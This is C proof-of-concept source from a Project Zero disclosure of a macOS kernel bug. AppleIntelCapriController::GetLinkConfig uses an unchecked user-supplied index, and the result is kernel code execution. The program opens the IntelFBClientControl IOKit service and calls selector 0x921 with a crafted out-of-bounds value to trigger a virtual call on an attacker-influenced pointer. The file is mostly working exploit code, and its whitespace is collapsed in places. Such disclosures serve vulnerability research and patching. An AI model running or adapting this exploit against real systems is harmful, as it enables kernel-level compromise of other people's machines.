/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375
AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/// ianbeer// build: clang -o capri_link_config capri_link_config.c -framework IOKit#if0MacOS kernel code execution due to lack of bounds checking inAppleIntelCapriController::GetLinkConfigAppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking.TheOOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer(at offset 2138h) and call a virtual method allowing trivial kernel code execution.Tested on MacOS10.13(17A365) on MacBookAir5,2#endif#include<stdio.h>#include<stdlib.h>#include<string.h>#include<IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service =IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("IntelFBClientControl"));if(service ==IO_OBJECT_NULL){printf("unable to find service\n");return0;}
io_connect_t conn =MACH_PORT_NULL;
err =IOServiceOpen(service,mach_task_self(),0,&conn);if(err !=KERN_SUCCESS){printf("unable to get user client connection\n");return0;}
uint64_t inputScalar[16];
uint64_t inputScalarCnt =0;
char inputStruct[4096];
size_t inputStructCnt =8;//*(uint64_t*)inputStruct = 0x12345678; // crash*(uint64_t*)inputStruct =0x37;// oob call
uint64_t outputScalar[16];
uint32_t outputScalarCnt =0;
char outputStruct[4096];
size_t outputStructCnt =4096;
err =IOConnectCallMethod(
conn,0x921,// GetLinkConfig
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,&outputScalarCnt,
outputStruct,&outputStructCnt);return0;}